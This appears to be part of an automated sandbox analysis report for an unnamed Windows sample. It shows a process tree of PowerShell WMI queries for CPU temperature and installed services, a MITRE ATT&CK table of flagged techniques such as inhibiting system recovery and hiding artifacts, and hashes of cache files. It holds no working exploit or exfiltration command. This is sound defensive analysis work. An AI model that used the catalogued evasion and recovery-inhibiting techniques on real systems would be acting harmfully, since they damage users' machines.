  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6940
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};Get-CimInstance Win32_Service -ErrorAction SilentlyContinue | ForEach-Object { ($_.Name + '|' + $_.StartMode + '|' + $_.DisplayName) }"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  PID:1600

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:6772

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s SysMain
1⤵
PID:4328

C:\Windows\system32\SearchIndexer.exe
C:\Windows\system32\SearchIndexer.exe /Embedding
1⤵
PID:1364
- C:\Windows\System32\SearchProtocolHost.exe
  "C:\Windows\System32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe1_ Global\UsGthrCtrlFltPipeMssGthrPipe1 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"
  2⤵
  PID:1416

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k utcsvc -p
1⤵
PID:2768

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:6628

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Power Settings

T1653

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Network Share Discovery

T1135

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 376018e6acff14b5a76b2d14c837ab6ab5eaa0fdb0e2ff1b0a1f0743848bc372
MD5 a9844034d2468072e216ac643a44678a
SHA1 195da9249eeb27cbdb78df3696b61853dcacd99d
SHA512 fe7a4898898ad0444b6b2a6d10115cace3b01ee4dd3de257066a54d89502fd896ad79c4052ab0f04a363eb176f8efbfb967f41c255255c8f64fdeaf86b1c63ca
SSDEEP 1536:1KLg07Yo2hkovpfKQVAflJdpHYWh4iUxpR40i71YigMQyPTOdBcV3CNBQkj2Va5o:1KLg07Yo2hkovpfKQVAflJd9YWqiUpRe
TLSH
T1EC636292E9204E75E1A66F3EF15622627C30394690F8153211DC25EFA987D930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 4515da1e7be6ecafc559d4c6661fe8e81fd671f2f88dd809c983b1ff09006221
MD5 5e2c1b8dc3a6dc4f55266fd939263f6b
SHA1 d8722f9e5bf34c8a4bb7dcc8cd82caa0f93c8749
SHA512 75ef64185e2d711b943a60a25db55efb3eeb186f5682662f0aa117b4574057b27ff63a4f299cd3bbb38de3fc5d4e7480fff6ed81f6a570821e4c699a9d990e79
SSDEEP 1536:/KLg0xCw2hkovpfKQVAflJdpHYWh4iUx9R40i71Yi+MQyPRWrxlibjoRjdvRwa5E:/KLg0xCw2hkovpfKQVAflJd9YWqiU9Rs
TLSH
T146636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download